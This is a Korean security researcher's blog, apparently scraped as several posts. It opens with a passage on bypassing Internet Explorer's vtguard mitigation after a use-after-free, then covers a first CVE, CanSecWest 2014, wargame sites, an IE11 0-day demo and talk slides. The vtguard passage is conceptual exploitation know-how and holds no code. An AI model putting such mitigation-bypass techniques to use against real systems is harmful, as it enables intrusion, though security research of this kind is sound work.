일단 Vtguard는 모든 Vtable에 대하여 적용된 것이 아니다.


또한 vtguard 체크 부분은 함수 실행 직전에 존재하며 함수 실행 여부는 이전의 분기문에서 결정된다.


또한 Heap object에는 생각보다 많은 정보를 담고 있다. 예를들어 다른 object의 주소같은것도 포함되어있다.



그러므로 UAF가 발생하고 Fake Object를 제작한 다음


vtable 함수 호출 분기문 이전에 여러 분기문으로 옮겨 다닐 수 있다면 Vtguard에 영향받지 않을 수도 있다는 것이다.


왜냐하면 조금전에 Vtguard는 모든 Vtable에 대해서 적용되지 않았기 때문에 아래와 같은 일이 일어날 수 있다.


|ptr to vtable| Heap object | ???? | ???? | ???? | ???? | <- Heap Object

|????|????|????|????|????|cookie| <- Vtable


Object가 만약 이렇게 구성되어 있고 운이 좋다면 Heap object 를 사용하는 분기문으로 이동 할 수도 있다.


|ptr to vtable| ???? | ???? | ???? | ???? | ???? | <- Heap object

|????|????|????|????|????|????| <- Vtable


그리고 이처럼 그 Object는 Vtguard가 적용되지 않은 Vtable의 주소를 가지고 있으면 게임 끝이다. (vtguard는 일부에만 적용된 것이므로 은근 이런 case가 간혹 있다. 끝까지 잘 찾아보자.)


이로써 (운이 좋으면) Vtguard에 영향을 받지 않고도 EIP Control이 가능하다.



Conclusion.


운이 좋으면 Vtguard에 영향받지 않고 EIP를 바꿔버릴 수 있다. 포기하지 말고 끝까지 살펴보자.



Reference


http://neilscomputerblog.blogspot.kr/2014/04/vtguard.html




만약 틀린 정보가 있으면 댓글 달아주시면 감사하겠습니다. (졸면서 글을 쓰고 있네요.. 틀린점이 있을지도.. ㅋㅋ )


바로 수정하겠습니다!


ps. 같이 연구하면서 도움을 주신 몽형 감사합니다.


신고

Comment 2





발표자료는 아래에서 받을 수 있습니다.


생각보다 하고 싶은 말을 많이 못한것 같네요..


항상 발표할때 습관인 초반에 긴장때문에 말도 더듬더듬 하기도 했는데 도움이 되셨으면 합니다.


의문점이 있는것은 덧글로 달아주시면 감사하겠습니다


http://cloud.sweetchip.kr/speak/Inc0gnito_fuzzing_for_fun_sweetchip.pdf


http://www.slideshare.net/sweetchip/inc0gnito-fuzzing-forfunsweetchip


감사합니다.





신고

Comment 6

  • 2014.08.20 17:33 수정 답글

    비밀댓글입니다

  • 2014.08.21 08:31 신고 수정 답글

    우와 수고하셨습니다. 인사도 하고 4층에 발표도 보러갔어야되는데 시상식 준비일이 너무바빠서 못했네요ㅜㅠ 수고하셨어요

    • 2014.08.22 01:20 신고 수정

      운영하시느라 고생 많으셨습니다! 감사합니다 ㅎㅎ

  • 2015.04.11 16:32 신고 수정 답글

    형 이파일 받을수잇을까요..ㅎㅎ

    • 2015.04.11 17:23 신고 수정

      http://www.slideshare.net/sweetchip/inc0gnito-fuzzing-forfunsweetchip 참고!



[잡담글 ㅋㅋ]


Whitehash 1기를 진행하면서 찾은 브라우저 제로데이 취약점..


취약점의 종류는 Memory Corruption 종류 중 하나였고, 코드의 흐름이 완벽하게 통제할 수 있는 취약점이다.


덕분에 Arbitrary Code Execution이 가능해서 해커들의 친한 친구인 계산기도 만날 수 있었다.


물론 처음에 어떤 보호기법에 막히기도 했지만 조금(이라 쓰고 1달이라 읽는다) 생각하고 나니 쉽게 영향을 받지 않고 코드 흐름을 바꿀 수 있었다.


이 보호기법에 대해선 나중에 시간이 날때 포스팅 하도록 하겠다 (막상 해보고는 실망할 정도로 간단 했다.)


그리고 드디어..



내 생애 첫 CVE와 MS 넘버링을 가지게 되었다. ㅋㅋ


2013년이 끝나면서 새로 지은 2014년 목표가 CVE 넘버를 1개이상 가져보는것이었는데 어쩌다 보니 목표를 달성하게 되었다.


물론 같은 취약점을 발견한 사람은 전세계에서 나 말고 3명이 더 있긴 하지만, 찾고 공격에 성공한게 어디인가하고 일단은 만족 하기로 했다.


하지만 내 닉넴 위 아래로 보면 도데체 뭐 하는 사람들인지 알 수가 없는 사람들이 수십개는 기본으로 제보한 사람도 있다 -_-


그런 사람들한테는 새발의 피지만 올해 처음으로 재밌는 취약점을 찾게 되어서 기뻣으니 만족.




이제는 IE에 Isolated Heap과 Protected Heap 이라는 기술이 적용되어서 Internet explorer를 공격하기가 더욱 어려워졌다. (생각보다 많이..)


크롬이나 사파리 같은 브라우저에선 예전부터 적용된 것이긴 하지만 (Isolated Heap) IE는 지금까지 그런 기술이 없어서 다른 브라우저에 비하여 공격이 쉬웠다.


머지 않아 새로운 우회기법이 나오긴 하겠지만 그래도 이젠 쉽지는 않으리라 본다. (덕분에 이전까지 연구중이던 다수의 취약점도 날렸다.)


그리고 Isolated Heap과 Protected Heap도 역시 조만간 포스팅을 해보려고 한다.


보호기법이 등장하긴 했지만 아직 취약점은 존재한다.




뻘 포스팅 끝 ㅋㅋ (새벽에 쓰고보니 참 두서 없다.)

신고

Comment 6

  • 2014.07.31 13:07 수정 답글

    비밀댓글입니다

    • 2014.07.31 20:10 신고 수정

      시스템 해킹 부분을 공부하시면 도움이 될 것 같습니다.

  • 2014.08.01 18:54 수정 답글

    비밀댓글입니다

    • 2014.08.03 03:20 신고 수정

      우선 축하드립니다
      aslr은 Information Leak 이 가능한 취약점 한건이 있어야 가능합니다.
      sandbox도 역시 일반적인 커널익스플로잇으로 권한 상승을 하는것으로 알고 있습니다. 감사합니다.

    • 2014.08.04 10:27 수정

      비밀댓글입니다

  • 2014.08.04 08:36 수정 답글

    비밀댓글입니다


2013년 ~ 2014년 BOB 2기 과정을 마치게 되고 2주간 Canada의 Vancouver에서 열리는 CanSecWest 2014에 참가할 수 있는 기회를 얻게 되었다.


예전부터 구경하고 싶었던 pwn2own이 열리는 컨퍼런스이기도 해서 대회 장면을 구경할수 있고 우리나라 팀도 볼수 있다는 매우 큰 기대감을 가지고 비행기에 몸을 실었다.


비행기는 10시간 뒤인 샌프란 시스코에 착륙하고 4시간 대기시간을 거친 다음 2시간 만에 최종 목적지인 벤쿠버에 도착하게 되었다. (캐나다로 가는 비행기 안에선 타자마자 진짜 정신없이 잤다.)


총 16시간 정도를 좁은 비행기에서 있게 되니 매우 힘들어서 첫날엔 잠시 저녁식사를 하고 시내를 둘러보고 바로 잠들었다.


캔섹이 열리는 둘째날부터 아침에 일찍 일어나 참가했다.



밴쿠버의 배 선착장[?] 쪽으로 가다가 본 대형 구조물. 아름다워서 찰칵.



컨퍼런스 점심시간 및 여유 시간에는 벤쿠버 시내를 돌아다니면서 사진을 찍었다.



거리도 깨끗한 편이었고 왠지 사람들이 전부 여유로워 보였다.


물건을 파는 가게에 들어가도 매우 친절하게 대해줬고 음식점에서도 친절하게 대해줬다.




----








세션이 진행되는 동안은 최대한 셔터소리가 안나게 사진을 찍어봤다.









위는 CnaSecWest 2014의 행사중 하나인 클럽의 사진인데 같이 참가했던 다른분의 사진을 빌렸다. [미성년자는 출입 금지라고 해서 나와 또다른 어린 친구들은 호텔에서 있었다...]



따로 발표 내용에 대한 것은 꽤나 오래전이었기 때문에 언급은 하지 않겠으나 대부분 발표 주제는 상당히 흥미로웠다.


나느 주로 Exploitation Technique 분야의 발표를 듣게 되었고 프로젝트 관련 주제였던 내용이 나와 반갑기도 했던 주제도 있었다. (특히 jscript에서의 힙 풍수라던지 ROP같은 공격 기법들에 대한 내용을 감명깊게 들었다.)


하지만 영어를 잘하는 편이 아니라 발표자의 농담[?]이나 발표 내용을 전부 이해하기가 쉬운건 아니었다. (대신 슬라이드를 보면서 이해하거나 발표가 끝난뒤 같이온 분께 물어보기도 했다.)


3일동안 진행되었던 컨퍼런스는 나에게 엄청난 도움이 되었고 프로젝트때 궁금했던 부분과 생각치 못했던 방법을 생각할 수 있던 기회이기도 했다.


추가로 캔섹이 열린 호텔에 들어가면 MS, 구글 등의 부스가 있는데 이곳에서 나눠주는 기념품(구글 같은 경우엔 퍼즐)을 받는 소소한 재미[?]도 있었다.



발표 내용들


https://cansecwest.com/slides.html


위 링크에서 발표 자료들을 다운로드 받을 수 있다.




Fighting Next-Generation Adversaries with Shared Threat Intelligence

Jacob West ; CTO - Enterprise Security Products, HP


USB Flash Storage Threats and Threat Mitigation in an Air-Gapped Network Environment

George Pajari ; HCIS


No Apology Required: Deconstructing Blackberry 10

Zach Lanier, Ben Nell ; Duo Security & Accuvant


Revisiting iOS Kernel (In)Security

Tarjei Mandt ; Azimuth Security


The Real Deal of Android Device Security: the Third Party

Collin Mulliner, Jon Oberheide ; Northeastern University, Duo Security


Exploring RADIUS

Brad Antoniewicz ; Foundstone/McAfee/Intel


Copernicus 2, SENTER the Dragon

Xeno Kovah, John Butterworth ; MITRE


All Your Boot Are Belong To Us

Corey Kallenberg, Yuriy Bulygin ; Intel, MITRE


Platform Firmware Security Assessment with CHIPSEC

John Loucaides, Yuriy Bulygin ; Intel


Keynote Presentation: Hon. Diane Finley

Federal Minister of Public Works and Government Services


Less is more, Exploring code/process-less techniques and other weird-machine methods to hide code (and how to detect them)

Shane Macaulay ; IOActive / Security Objectives


ROPs are for the 99%: A revolutionary bypass technology

Yang Yu a.k.a. "tombkeeper"; NSFOCUS Labs


Concurrency: a problem and opportunity in the exploitation of memory corruptions

Ralf-Philipp Weinmann; Comsecuris


Utilizing machine learning and DNS traffic to discover malware infections and C&C traffic

Brandon Niemczyk, Josiah Hagen, Jonathan Andersson


Exploit Detection

Haifei Li & Chong Xu ; McAfee a.k.a. Intel Security


Combating the Advanced Memory Exploitation Techniques: Detecting ROP with Memory Information Leak

Stanley Zhu and Chong Xu ; McAfee/Intel Security


Intelligent Use of Intelligence: Design to Discover

Ping Yan and Thibault Reuille ; OpenDNS


The Art of Leaks: The Return of Heap Feng Shui

Tao Yan a.k.a. "ga1ois" ; NSFOCUS Labs


Outsmarting Bluetooth Smart

Mike Ryan ; iSEC Partners


아쉬웠던 점은..


영어 공부를 해야 겠다는 것.. ㅎ 듣고 바로 이해가 되면 좋겠지만 번역 이라는 과정을 거치기 때문에 한 세션을 들으면 매우 피곤해진다...


또한 pwn2own이 진행되는 방은 들어가면 안된다는 식의 문구가 써잇어서 그냥 한번 문 밖에서 방 안쪽의 상황만 살펴봤었다. [살펴봐도 보이지 않았다.. -_-]


하지만 트위터로 중계되는 덕에 대충 상황이 어떤지는 알 수 있었다.




신기하게도 캔섹에서 우리 그룹 말고 또 다른 한국인을 본것도 신기했는데 기억상으로는 삼성에 다니시는 분이었고 컨퍼런스를 들으러 오셨다고 한다.


우리나라랑 시차가 16시간 정도 [우리나라 시간으로 새벽 3시면 벤쿠버는 오전 11시] 되서 적응하는데 약간 힘들었던것 빼고는 즐거웠던 시간이었다.


아무튼 4일간의 좋은 시간을 보내고 바로 샌프란시스코로 출발했다.




끝. :D






신고

Comment 2



왠지 모르게 대학교가 방학을 해도 계속 바쁘게 지내는데 (그래도 bob 할때만은 아닙니다 ㅋㅋㅎ) 그러다 보니 블로그는 그냥 방치하게 되었네요


그래도 뭔가 써야 할것 같아서 생각해보다가 워게임에 대해서 생각나서 워게임에 대해 써보려고 합니다 ㅎㅎ


이번 글의 대상은 처음 공부하는 분들을 위주입니다.


/////






해킹보안을 공부하는 사람이라면 누구나 워게임이라는 것을 들었을 것이다.


아닌 분들을 위해 간단하게 적어보면 그냥 문제를 풀어보는 것이라고 생각하면 된다.


하지만 문제를 푼다고 하면 뭔가 재미가 없을것 같다고 생각할 수 있는데, 자세히 말하면 출제자가 프로그램또는 서비스되고 있는 환경을 출제한다.


물론 그 서비스에는 취약한 부분이 있는데 풀이자는 이런 취약점을 찾아서 공격해서 서버의 권한을 획득하거나


Flag라는 정답 파일을 읽어서 인증서버에 인증을 하며 문제를 푸는 직접 취약점을 찾아 공격하는 문제가 있고


프로그램의 알고리즘을 파악하여 역공학을 한다는지 (예를들어 키젠을 만드는것) 또는 Binary에 숨겨진 암호를 찾아서 정답을 맞추는 문제들도 있다.



이런 워게임을 풀다보면 그냥 글로 읽어서 터득하는 것 보다 재미있게 해킹공부를 할 수 있다.


또 다른사람하고 점수를 경쟁하거나 문제 형태로 출제되기 때문에 꼭 풀고 말거라는 마음을 가지게 되서 계속 연구하다 보면 알게 되는것이 많아


결국엔 자신의 실력이 향상되게 된다.


현재 국내에는 계속해서 워게임 사이트가 생기고 있고 최근에는 리눅스 시스템 해킹 문제를 출제하는 워게임 사이트도 생겼다.


이제 해킹 공부를 좀더 재밌게 해볼 수 있는 사이트 및 서비스를 소개해볼까 한다.


아래에 나와있는 것은 우리나라의 모든 워게임은 아니다. 찾아보면 더 있을 것이다.





WEB 분야

http://webhacking.kr/ - Webhacking.kr 은 국내에서 가장 유명한 웹 분야의 워게임 사이트이다. 문제들도 많고 계속 추가될 예정 이라고 한다.


Reverse Engineering 분야

http://reversing.kr/ - 리버스 엔지니어링 문제를 주로 다루고 있는 워게임 사이트이다. 좋은 문제들이 많다.


System 분야

HackerSchool FTZ

- http://search.naver.com/search.naver?where=nexearch&query=hackerschool ftz&sm=top_hty&fbm=2&ie=utf8

- 해커스쿨에서 제공하는 리눅스 기본문법에서 기본적인 해킹 공격을 접해볼 수 있다.


HackerSchool LOB

- http://www.hackerschool.org/Sub_Html/HS_Community/index.html

- 이 역시 해커스쿨에서 제공하는 리눅스의 해킹 공격을 접해볼 수 있다. FTZ 보다 난이도가 높고 다양한 보호기법이 새로이 적용된 문제도 많다.


http://pwnable.kr/ - 시스템 해킹 분야를 주로 다룬 워게임 사이트이다. 요즘 해킹대회에서 출제되는 형태의 문제이고 좋은 문제들이 많은 편이다.

http://exploit-exercises.com - [국외] VM 이미지로 문제를 제공한다. 소스코드도 함께 제공하며 문제 난이도도 다양함.



ETC - 다 분야

http://hack-me.org/ - 다양한 분야의 문제를 모아둔 사이트이다.

http://xcz.kr/ - 다양한 분야의 문제를 모아둔 사이트이다.

http://ctfagain.kr/ - 기존에 출제된 CTF 문제를 다시 풀어볼수 있도록 제공하는 사이트이다. 다양한 분야의 문제들이 있고 실제 해킹대회에 출제된 문제를 풀어볼 수 있다.

http://wargame.kr - 다양한 분야의 문제를 모아둔 사이트이다.

https://microcorruption.com - [국외]




현재 대충 이정도로 정리했지만 실제로는 여기에 나와있는 것보다는 더 많다.


시간이 생길때마다 계속 추가힐 예정이다.













신고

Comment 13





this video is Internet Explorer 11 0-day vulnerability exploit poc demo


I found new IE11 0-day vulnerability and i researched it for a few days.


Finally, I controlled the flow successfully.


Special Thanks to mongli, passket and beist (Mentor of BOB program)



이 영상은 Internet Explorer 11의 제로데이 취약점 공격 데모 영상입니다.


새로운 IE11의 제로데이 취약점을 발견하고 며칠동안 연구한 결과 흐름을 성공적으로 조종할 수 있었습니다.


취약점 분석관련으로 많은 지식을 나눠 주신 mongli, passket, beist 분들께 감사드립니다.

신고

댓글 1






안녕하세요.


2013년 5월 12일 부터 6월 11일까지 BOB 3기 모집이 시작되었습니다.


BOB는 미래의 화이트 해커를 양성하기 위해서 만들어진 프로그램입니다.


교육생으로 선발되면 약 6~8개월간 기본 소양 교육과 심화교육 그리고 최소 2명 이상의 팀을 구성하여 프로젝트를 진행하게 됩니다.


///


2기 교육때는 멘토님들이 오셔서 기본 소양부터 프로그래밍, 리버싱등 여러 분야의 강의를 해주시고 가끔씩 해외 멘토도 오셔서 최대 일주일 정도 특강을 진행해 주셨습니다.


공부하는 분야는 화이트 해커가 가장 필요로 하는 윤리부터 시작해서 프로그래밍, 리버싱, 시스템, 네트워크, 컨설팅 등으로 대략 2달간 진행하게 되며


이후 프로젝트 기간에는 본인이 원하는 주제를 정해서 프로젝트 팀원을 구하고 분야별 멘토님과 함께 프로젝트를 진행할수 있습니다. (예를들어 취약점 자동 분석 툴 만들기)


///


자세한 것은 3기 지원을 모집하는 홈페이지를 참조하시고 지원하는 분들께 좋은결과가 있었으면 좋겠습니다.


모집 : 2014년 5월 12일 ~ 2014년 6월 11일


인원 : 대략 130명


사이트 : http://www.kitribob.kr


///


추가로 아래 글도 한번 읽어보세요.


제가 진심으로 존경하는 멘토님들중 한분께서 쓰신 bob에 대한 글입니다.


http://hackerschool.org/Sub_Html/HS_Posting/?uid=44


감사합니다.

신고

Comment 18

  • 2014.05.15 14:29 신고 수정 답글

    참여 하고싶은대 아직 중학생이네요. ㅠㅠ

    • 2014.05.15 23:02 신고 수정

      작년에도 중학생으로 신청한 사람이 있었지만 아쉽게도 대상에서 제외되었습니다. 실력을 키우셔서 고등학생때 지원하시는게 더 좋을것 같군요 ㅎㅎ

  • 2014.05.15 20:01 수정 답글

    비밀댓글입니다

    • 2014.05.15 23:06 신고 수정

      네. 좋은결과 있으시길 바라겠습니다.
      면접 및 시험 난이도는 알려드릴수는 없고 또한 개인마다 다른 사항이라 확실하지 않아 알려드리기 어렵습니다.
      인성면접은 말그대로 기본적인 인성면접 형태입니다.
      이번연도는 다를수도 있지만 2기 당시 ppt는 제가 연구 / 공부했던 분야를 PPT에 정리하여 약 5~10분 (시간이 정확히 기억나지 않습니다)정도 발표를 진행햇습니다.
      위 내용은 2기 당시에 진행했던 내용이며 정확한 사항은 BOB측에 문의하시는게 좋을것 같습니다.

  • 2014.05.15 20:03 수정 답글

    비밀댓글입니다

    • 2014.05.15 23:07 신고 수정

      위와 같은 사항이므로 답변은 생략하도록 하겠습니다!
      추가로 면접 질문 대비는 자소서를 작성했다면 대답할 수 있을 정도로 나오는 질문과 기술적인 질문이 나올 수 있습니다.
      이 역시 2기 당시이며 자세한 사항은 알려드릴순 없습니다.

  • 민 김
    2014.05.20 20:24 신고 수정 답글

    고등학생인데 아직 아는게 c기본밖에 없는데 한번 해보는게 좋을까요?

    • 2014.05.26 13:02 신고 수정

      좀더 공부하신다음 지원하셔도 좋고 지금 지원하셔도 좋습니다.
      c기본 밖에 없어도 배우는 내용에 추가로 공부하신다면 좋은 결과가 있을겁니다.

  • 2014.06.01 17:29 수정 답글

    비밀댓글입니다

    • 2014.06.01 18:31 신고 수정

      잘될거야 ㅎ 좋은 결과 기대하겠음. ㅋㅋ

    • 2014.07.15 10:59 수정

      비밀댓글입니다

  • 2014.06.01 19:17 수정 답글

    비밀댓글입니다

    • 2014.06.01 19:54 신고 수정

      우선은 BOB에서 교육생을 선발할 때 가장 중요하게 여기는 사항중 하나는 윤리의식입니다. 그 점을 잘 유의해두시길 바랍니다.
      필기, 면접 시험은 이번엔 어떻게 될지 몰라서 합격 여부는 제가 알수 없을것 같습니다.
      OS와 네트워크의 경우 공부하시다가 필요하시면 배우는게 좋을것 같습니다.
      만약 필기시험에 나오는 분야들이라면 한번쯤 공부하고 가는게 좋겟지요,
      커리큘럼은 3기에 대한 정보가 없어서 잘 모르겠고 그래도 어느정도 2기와 배우는 내용이 비슷하거나 더 좋은 내용이 아닐까 생각됩니다.

      아무래도 저는 작년 교육생이었기 때문에 이번 연도에 대한 커리큘럼같은 자세한 내용은 정보가 없기 때문에 아무래도 bob 사이트를 참고하시는게 더 좋을것 같습니다.

      감사합니다.

  • 2014.06.03 17:35 수정 답글

    비밀댓글입니다

  • 2014.07.12 16:54 수정 답글

    비밀댓글입니다

    • 2014.07.13 18:29 신고 수정

      2기 면접 당시엔 골고루 질문 했엇으나 3기부터는 잘 모르겠습니다.
      그리고 다른 선행을 하고 시스템을 접하는것도 좋지만 우선 먼저 시스템을 접해보고 어떤 공부를 해야 할지 정하는 방법도 좋은것 같습니다.





안녕하세요 sweetchip입니다.


BOB 2기 2학기당시 진행한 프로젝트를 진행하는 도중에 이전에 공개된 취약점을 분석하고 Exploit을 진행 했던 과정이 있었습니다.


그당시 문서로도 함께 제작해두었는데 왠지 필요하신 분이 있을것 같아서


그리고 조금더 분석을 편리하게 하는 방법을 공유하고자 문서를 공개하게 되었습니다.


당시 IE 분석은 '처음' 이었기 때문에 주로 취약점 분석과 공격을 '검색'하고 실습하면서 작성했기 때문에 IE 취약점 분석을 많이 해보신 분이라면


에이 뭐야 하실수도 있는 내용입니다.


도움이 되었으면 합니다.



CVE-2012-4792 Analysis Report(sweetchip)_release.pdf




문서의 대부분은 짱짱해커들이 있는 Exodus Intelligence와 타 문서들, 그리고 블로그를 참고했고 다른 내용도 여러 블로그를 참고하면서 작성했습니다.


* 틀린 내용이 있다면 꼭 반드시 sweetchip@sweetchip.kr 로 보내주시면 감사하겠습니다.

신고

Comment 2






2014년 4월 3일 진행되었던 코드게이트 행사 중 트랙 0번 에서 발표한 버그헌팅 챌린지 발표 자료를 배포 합니다.


http://cloud.sweetchip.kr/codegate/


위 링크가 받아지지 않는다면 아래 파일 링크로 받아주시면 감사하겠습니다.


발표 당시에는 발표자료가 16:9 비율로 제작되어서 4:3 비율로 급하게 바꾸느라 안보이는 글씨가 있었는데,


배포하는 발표자료는 16:9 로 배포 합니다.






204E362C0EF1E8C2624C098D0449EA4F.pdf


http://www.slideshare.net/sweetchip/codegate-2014


신고

댓글 0